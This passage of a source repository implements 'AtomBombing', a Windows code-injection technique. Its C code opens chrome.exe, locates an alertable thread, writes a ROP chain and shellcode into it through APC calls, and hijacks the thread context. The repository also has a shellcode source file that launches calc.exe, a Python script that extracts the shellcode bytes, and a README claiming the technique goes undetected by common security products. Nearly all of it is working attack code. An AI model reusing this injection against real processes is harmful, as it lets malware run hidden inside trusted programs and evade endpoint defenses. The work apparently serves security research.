1484 | goto lblCleanup;
1485 | }
1486 |
1487 | eReturn = ESTATUS_SUCCESS;
1488 | *ptContext = tContext;
1489 |
1490 | lblCleanup:
1491 | return eReturn;
1492 | }
1493 |
1494 | ESTATUS main_FindAlertableThread(HANDLE hProcess, PHANDLE phAlertableThread)
1495 | {
1496 | ESTATUS eReturn = ESTATUS_INVALID;
1497 | PHANDLE phProcessThreadsHandles = NULL;
1498 | DWORD cbProcessThreadsHandlesSize = 0;
1499 | DWORD dwNumberOfProcessThreads = 0;
1500 | BOOL bErr = FALSE;
1501 | DWORD dwErr = 0;
1502 | HANDLE hAlertableThread = 0;
1503 | PVOID pfnNtWaitForSingleObject = NULL;
1504 | PHANDLE phLocalEvents = NULL;
1505 | PHANDLE phRemoteEvents = NULL;
1506 |
1507 | eReturn = main_EnumProcessThreads(
1508 | hProcess,
1509 | &phProcessThreadsHandles,
1510 | &cbProcessThreadsHandlesSize,
1511 | &dwNumberOfProcessThreads
1512 | );
1513 | if (ESTATUS_FAILED(eReturn))
1514 | {
1515 | goto lblCleanup;
1516 | }
1517 |
1518 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
1519 | {
1520 | HANDLE hThread = phProcessThreadsHandles[dwIndex];
1521 |
1522 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
1523 | hThread,
1524 | GetCurrentThread(),
1525 | 5000,
1526 | TRUE);
1527 | if (ESTATUS_FAILED(eReturn))
1528 | {
1529 | continue;
1530 | }
1531 | }
1532 |
1533 | phLocalEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));
1534 | if (NULL == phLocalEvents)
1535 | {
1536 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC_FAILED;
1537 | goto lblCleanup;
1538 | }
1539 |
1540 | phRemoteEvents = (PHANDLE)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, dwNumberOfProcessThreads * sizeof(HANDLE));
1541 | if (NULL == phRemoteEvents)
1542 | {
1543 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_HEAPALLOC2_FAILED;
1544 | goto lblCleanup;
1545 | }
1546 |
1547 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
1548 | {
1549 | HANDLE hThread = phProcessThreadsHandles[dwIndex];
1550 |
1551 | phLocalEvents[dwIndex] = CreateEvent(NULL, TRUE, FALSE, NULL);
1552 | if (NULL == phLocalEvents[dwIndex])
1553 | {
1554 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_CREATEEVENT_FAILED;
1555 | goto lblCleanup;
1556 | }
1557 |
1558 | bErr = DuplicateHandle(
1559 | GetCurrentProcess(),
1560 | phLocalEvents[dwIndex],
1561 | hProcess,
1562 | &phRemoteEvents[dwIndex],
1563 | 0,
1564 | FALSE,
1565 | DUPLICATE_SAME_ACCESS
1566 | );
1567 | if (FALSE == bErr)
1568 | {
1569 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_DUPLICATEHANDLE_FAILED;
1570 | goto lblCleanup;
1571 | }
1572 |
1573 | eReturn = main_ApcSetEventAndKeepAlertable(hThread, phRemoteEvents[dwIndex]);
1574 | if (ESTATUS_FAILED(eReturn))
1575 | {
1576 | goto lblCleanup;
1577 | }
1578 |
1579 | }
1580 |
1581 | DWORD dwWaitResult = WaitForMultipleObjects(dwNumberOfProcessThreads, phLocalEvents, FALSE, 5000);
1582 | if (WAIT_FAILED == dwWaitResult)
1583 | {
1584 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_WAITFORMULTIPLEOBJECTS_FAILED;
1585 | goto lblCleanup;
1586 | }
1587 | if (WAIT_TIMEOUT == dwWaitResult)
1588 | {
1589 | eReturn = ESTATUS_MAIN_FINDALERTABLETHREAD_NO_ALERTABLE_THREADS_FOUND;
1590 | goto lblCleanup;
1591 | }
1592 |
1593 | hAlertableThread = phProcessThreadsHandles[dwWaitResult - WAIT_OBJECT_0];
1594 |
1595 | //If the thread is in an alertable state, keep it that way "forever".
1596 | eReturn = main_NtQueueApcThreadWaitForSingleObjectEx(
1597 | hAlertableThread,
1598 | GetCurrentThread(),
1599 | INFINITE,
1600 | TRUE
1601 | );
1602 | if (ESTATUS_FAILED(eReturn))
1603 | {
1604 | goto lblCleanup;
1605 | }
1606 |
1607 | *phAlertableThread = hAlertableThread;
1608 | eReturn = ESTATUS_SUCCESS;
1609 |
1610 | lblCleanup:
1611 |
1612 | main_CloseRemoteHandleArray(
1613 | hProcess,
1614 | phRemoteEvents,
1615 | dwNumberOfProcessThreads
1616 | );
1617 |
1618 | if (NULL != phRemoteEvents)
1619 | {
1620 | HeapFree(GetProcessHeap(), 0, phRemoteEvents);
1621 | phRemoteEvents = NULL;
1622 | }
1623 |
1624 | main_CloseLocalHandleArray(
1625 | phLocalEvents,
1626 | dwNumberOfProcessThreads
1627 | );
1628 |
1629 | if (NULL != phLocalEvents)
1630 | {
1631 | HeapFree(GetProcessHeap(), 0, phLocalEvents);
1632 | phLocalEvents = NULL;
1633 | }
1634 |
1635 | for (DWORD dwIndex = 0; dwIndex < dwNumberOfProcessThreads; dwIndex++)
1636 | {
1637 | PHANDLE phThread = &phProcessThreadsHandles[dwIndex];
1638 |
1639 | if ((NULL != *phThread) && (hAlertableThread != *phThread))
1640 | {
1641 | CloseHandle(*phThread);
1642 | *phThread = NULL;
1643 | }
1644 | }
1645 |
1646 | if (NULL != phProcessThreadsHandles)
1647 | {
1648 | HeapFree(GetProcessHeap(), 0, phProcessThreadsHandles);
1649 | phProcessThreadsHandles = NULL;
1650 | }
1651 |
1652 | return eReturn;
1653 | }
1654 |
1655 | ESTATUS main_GetThreadTebAddress(HANDLE hThread, PVOID *ppvTebAddress)
1656 | {
1657 | ESTATUS eReturn = ESTATUS_INVALID;
1658 | CONTEXT tContext = { 0 };
1659 | BOOL bErr = FALSE;
1660 | LDT_ENTRY tLdtEnry = { 0 };
1661 | PVOID pvTebAddress;
1662 |
1663 | eReturn = main_GetThreadContext(hThread, CONTEXT_SEGMENTS, &tContext);
1664 | if (ESTATUS_FAILED(eReturn))
1665 | {
1666 | goto lblCleanup;
1667 | }
1668 |
1669 | bErr = GetThreadSelectorEntry(hThread, tContext.SegFs, &tLdtEnry);
1670 | if (FALSE == bErr)
1671 | {
1672 | eReturn = ESTATUS_MAIN_GETTHREADTEBADDRESS_GETTHREADSELECTORENTRY_FAILED;
1673 | goto lblCleanup;
1674 | }
1675 |
1676 | pvTebAddress = (PVOID)(
1677 | (tLdtEnry.BaseLow) |
1678 | (tLdtEnry.HighWord.Bytes.BaseMid << 0x10) |
1679 | (tLdtEnry.HighWord.Bytes.BaseHi << 0x18)
1680 | );
1681 |
1682 | *ppvTebAddress = pvTebAddress;
1683 | eReturn = ESTATUS_SUCCESS;
1684 |
1685 | lblCleanup:
1686 | return eReturn;
1687 |
1688 | }
1689 |
1690 |
1691 |
1692 | int main()
1693 | {
1694 | ESTATUS eReturn = ESTATUS_INVALID;
1695 | PVOID pvRemoteShellcodeAddress = NULL;
1696 | PVOID pvRemoteGetProcAddressLoadLibraryAddress = NULL;
1697 | PVOID pvRemoteContextAddress = NULL;
1698 | PVOID pvRemoteROPChainAddress = NULL;
1699 | CONTEXT tContext = { 0 };
1700 | CHAR acShellcode[] = SHELLCODE;
1701 | PVOID pvCodeCave = NULL;
1702 | BOOL bErr = FALSE;
1703 | ROPCHAIN tRopChain = { 0 };
1704 | HANDLE hProcess = NULL;
1705 | HANDLE hAlertableThread = NULL;
1706 | ATOM tAtom = 0;
1707 | printf("[*] ATOM BOMBING\n\n\n");
1708 |
1709 | eReturn = main_OpenProcessByName(L"chrome.exe", &hProcess);
1710 | if (ESTATUS_FAILED(eReturn))
1711 | {
1712 | goto lblCleanup;
1713 | }
1714 |
1715 | printf("[*] Searching for an alertable thread.\n\n\n");
1716 | eReturn = main_FindAlertableThread(hProcess, &hAlertableThread);
1717 | if (ESTATUS_FAILED(eReturn))
1718 | {
1719 | goto lblCleanup;
1720 | }
1721 | printf("[*] Found an alertable thread. Handle: 0x%X.\n\n\n", hAlertableThread);
1722 |
1723 | printf("[*] Finding remote code cave.\n\n\n");
1724 | eReturn = main_GetCodeCaveAddress(&pvCodeCave);
1725 | if (ESTATUS_FAILED(eReturn))
1726 | {
1727 | goto lblCleanup;
1728 | }
1729 | printf("[*] Remote code cave found: 0x%X.\n\n\n", pvCodeCave);
1730 |
1731 | pvRemoteROPChainAddress = pvCodeCave;
1732 | pvRemoteContextAddress = (PUCHAR)pvRemoteROPChainAddress + sizeof(ROPCHAIN);
1733 | pvRemoteGetProcAddressLoadLibraryAddress = (PUCHAR)pvRemoteContextAddress + FIELD_OFFSET(CONTEXT, ExtendedRegisters);
1734 | pvRemoteShellcodeAddress = (PUCHAR)pvRemoteGetProcAddressLoadLibraryAddress + 8;
1735 |
1736 | printf("[*] Building ROP chain.\n\n\n");
1737 | eReturn = main_BuildROPChain(pvRemoteROPChainAddress, pvRemoteShellcodeAddress, &tRopChain);
1738 | if (ESTATUS_FAILED(eReturn))
1739 | {
1740 | goto lblCleanup;
1741 | }
1742 |
1743 | printf("[*] Copying the addresses of LoadLibraryA and GetProcAddress to the remote process's memory address space.\n\n\n");
1744 | eReturn = main_ApcCopyFunctionPointers(hProcess, hAlertableThread, pvRemoteGetProcAddressLoadLibraryAddress);
1745 | if (ESTATUS_FAILED(eReturn))
1746 | {
1747 | goto lblCleanup;
1748 | }
1749 |
1750 | *(PDWORD)(acShellcode + SHELLCODE_FUNCTION_POINTERS_OFFSET) = (DWORD)(pvRemoteGetProcAddressLoadLibraryAddress);
1751 |
1752 | printf("[*] Copying the shellcode to the target process's address space.\n\n\n");
1753 | eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteShellcodeAddress, acShellcode, sizeof(acShellcode));
1754 | if (ESTATUS_FAILED(eReturn))
1755 | {
1756 | goto lblCleanup;
1757 | }
1758 |
1759 |
1760 | printf("[*] Copying ROP chain to the target process's address space: 0x%X.\n\n\n", pvRemoteROPChainAddress);
1761 | eReturn = main_ApcWriteProcessMemory(hProcess, hAlertableThread, (PUCHAR)pvRemoteROPChainAddress, &tRopChain, sizeof(tRopChain));
1762 | if (ESTATUS_FAILED(eReturn))
1763 | {
1764 | goto lblCleanup;
1765 | }
1766 |
1767 | bErr = main_GetThreadContext(hAlertableThread, CONTEXT_CONTROL, &tContext);
1768 | if (ESTATUS_FAILED(eReturn))
1769 | {
1770 | goto lblCleanup;
1771 | }
1772 |
1773 | tContext.Eip = (DWORD) GetProcAddress(GetModuleHandleA("ntdll.dll"), "ZwAllocateVirtualMemory");
1774 | tContext.Ebp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
1775 | tContext.Esp = (DWORD)(PUCHAR)pvRemoteROPChainAddress;
1776 |
1777 | printf("[*] Hijacking the remote thread to execute the shellcode (by executing the ROP chain).\n\n\n");
1778 | eReturn = main_ApcSetThreadContext(hProcess, hAlertableThread, &tContext, pvRemoteContextAddress);
1779 | if (ESTATUS_FAILED(eReturn))
1780 | {
1781 | goto lblCleanup;
1782 | }
1783 |
1784 | lblCleanup:
1785 | if (NULL != hProcess)
1786 | {
1787 | CloseHandle(hProcess);
1788 | hProcess = NULL;
1789 | }
1790 | if (NULL != hAlertableThread)
1791 | {
1792 | CloseHandle(hAlertableThread);
1793 | hAlertableThread = NULL;
1794 | }
1795 | return 0;
1796 | }
--------------------------------------------------------------------------------
/AtomBombingShellcode/AtomBombingShellcode.vcxproj:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | Release
6 | Win32
7 |
8 |
9 |
10 | {DAD3D2B2-372F-4486-91FA-032CC0AA1133}
11 | Win32Proj
12 | AtomBombingShellcode
13 |
14 |
15 |
16 | Application
17 | false
18 | v120
19 | true
20 | Unicode
21 |
22 |
23 |
24 |
25 |
26 |
27 |
28 |
29 |
30 | false
31 |
32 |
33 |
34 | Level3
35 |
36 |
37 | Disabled
38 | true
39 | true
40 | WIN32;NDEBUG;_CONSOLE;_LIB;%(PreprocessorDefinitions)
41 | false
42 |
43 |
44 | Console
45 | true
46 | true
47 | true
48 |
49 |
50 |
51 |
52 | c:\python27\python.exe "$(SolutionDir)\$(ProjectName)\Scripts\Post_Link.py" "$(SolutionDir)$(Configuration)\$(ProjectName).exe"
53 |
54 |
55 |
56 |
57 |
58 |
59 |
60 |
61 |
--------------------------------------------------------------------------------
/AtomBombingShellcode/AtomBombingShellcode.vcxproj.filters:
--------------------------------------------------------------------------------
1 |
2 |
3 |
4 |
5 | {4FC737F1-C7A5-4376-A066-2A32D752A2FF}
6 | cpp;c;cc;cxx;def;odl;idl;hpj;bat;asm;asmx
7 |
8 |
9 | {93995380-89BD-4b04-88EB-625FBE52EBFB}
10 | h;hh;hpp;hxx;hm;inl;inc;xsd
11 |
12 |
13 | {67DA6AB6-F800-4c08-8B7A-83BB121AAD01}
14 | rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms
15 |
16 |
17 |
18 |
19 | Source Files
20 |
21 |
22 |
--------------------------------------------------------------------------------
/AtomBombingShellcode/Scripts/Post_Link.py:
--------------------------------------------------------------------------------
1 | import pefile
2 | import sys
3 | import os
4 |
5 | DUMMY_FUNC = "\x55\x8b\xec\x51\xc7\x45\xfc\xbe\xba\xad\xde\x8b\xe5\x5d\xc3"
6 |
7 | def main():
8 | exe_path = sys.argv[1]
9 | pe = pefile.PE(exe_path)
10 | print "Starting!"
11 | output = ""
12 | text_section = ""
13 | for section in pe.sections:
14 | if ".text" in section.Name:
15 | print (section.Name, hex(section.VirtualAddress), hex(section.Misc_VirtualSize), section.SizeOfRawData )
16 | text_section = pe.get_data(section.VirtualAddress, section.SizeOfRawData)
17 | binary_shellcode = text_section[:text_section.find(DUMMY_FUNC)]
18 | for byte in binary_shellcode:
19 | output += "\\x%x" % ord(byte)
20 | output = "#define SHELLCODE (\"%s\")" % output
21 | folder, file_name = os.path.split(exe_path)
22 | base, _ = os.path.splitext(file_name)
23 | print os.path.join(folder, base+".h")
24 | open(os.path.join(folder, base) + ".h", "wb").write(output)
25 | open(os.path.join(folder, base) + ".text", "wb").write(text_section)
26 | open(os.path.join(folder, base) + ".shellcode", "wb").write(binary_shellcode)
27 |
28 |
29 |
30 | if __name__ == "__main__":
31 | main()
--------------------------------------------------------------------------------
/AtomBombingShellcode/main.c:
--------------------------------------------------------------------------------
1 | typedef void * (__stdcall *pfnLoadLibraryA)(void *lpLibFileName);
2 | typedef void * (__stdcall *pfnGetProcAddress)(void * hModule, void * lpProcName);
3 | typedef int(__stdcall *pfnWinExec)(void * lpCmdLine, unsigned int uCmdShow);
4 | typedef int(__stdcall *pfnZwContinue)(void * lpContext, int TestAlert);
5 |
6 | typedef struct _FUNCTIONPOINTERS
7 | {
8 | pfnLoadLibraryA pfnLoadLibraryA;
9 | pfnGetProcAddress pfnGetProcAddress;
10 | } FUNCTIONPOINTERS, *PFUNCTIONPOINTERS;
11 |
12 | FUNCTIONPOINTERS g_FunctionPointers;
13 |
14 | void shellcode_entry();
15 |
16 | __declspec(naked) void fix_esp()
17 | {
18 | __asm{
19 | mov eax, edi;
20 | add ax, 0xc4;
21 | mov esp, [eax];
22 | sub sp, 0x1024;
23 | // This is needed for alignment purposes
24 | nop;
25 | nop;
26 | nop;
27 | }
28 |
29 | }
30 |
31 | void shellcode_entry()
32 | {
33 | PFUNCTIONPOINTERS ptFunctionPointer = 0x13371337;
34 | pfnWinExec pfnWinExec;
35 | pfnZwContinue pfnZwContinue;
36 | void * ptContext;
37 | void * hKernel32;
38 | void * hNtDll;
39 | char pszKernel32[] = { 'k', 'e', 'r', 'n', 'e', 'l', '3', '2', '.', 'd', 'l', 'l', '\0' };
40 | char pszNtDll[] = { 'n', 't', 'd', 'l', 'l', '.', 'd', 'l', 'l', '\0' };
41 | char pszZwContinue[] = { 'Z','w','C','o','n','t','i','n','u','e', '\0'};
42 | char pszWinExec[] = { 'W', 'i', 'n', 'E', 'x', 'e', 'c', '\0' };
43 | char pszCalcExe[] = { 'c', 'a', 'l', 'c', '.', 'e', 'x', 'e', '\0' };
44 |
45 | __asm{
46 | mov[ptContext], edi;
47 | }
48 |
49 | hKernel32 = ptFunctionPointer->pfnLoadLibraryA(pszKernel32);
50 | if (0 == hKernel32)
51 | {
52 | goto lblCleanup;
53 | }
54 |
55 | hNtDll = ptFunctionPointer->pfnLoadLibraryA(pszNtDll);
56 | if (0 == hNtDll)
57 | {
58 | goto lblCleanup;
59 | }
60 |
61 | pfnZwContinue = ptFunctionPointer->pfnGetProcAddress(hNtDll, pszZwContinue);
62 | if (0 == pfnZwContinue)
63 | {
64 | goto lblCleanup;
65 | }
66 |
67 | pfnWinExec = ptFunctionPointer->pfnGetProcAddress(hKernel32, pszWinExec);
68 | if (0 == pfnWinExec)
69 | {
70 | goto lblCleanup;
71 | }
72 |
73 | pfnWinExec(pszCalcExe, 0);
74 |
75 | pfnZwContinue(ptContext, 1);
76 |
77 | lblCleanup:
78 | return;
79 | }
80 |
81 | void dummy()
82 | {
83 | int dummy = 0xDEADBABE;
84 | }
85 |
86 | #include
87 |
88 | int main()
89 | {
90 | g_FunctionPointers.pfnGetProcAddress = GetProcAddress;
91 | g_FunctionPointers.pfnLoadLibraryA = LoadLibraryA;
92 | fix_esp();
93 | shellcode_entry();
94 | dummy();
95 | }
--------------------------------------------------------------------------------
/README.md:
--------------------------------------------------------------------------------
1 | # atom-bombing
2 | Here’s a new code injection technique, dubbed AtomBombing, which exploits Windows atom tables and Async Procedure Calls (APC). Currently, this technique goes undetected by common security solutions that focus on preventing infiltration.
3 |
--------------------------------------------------------------------------------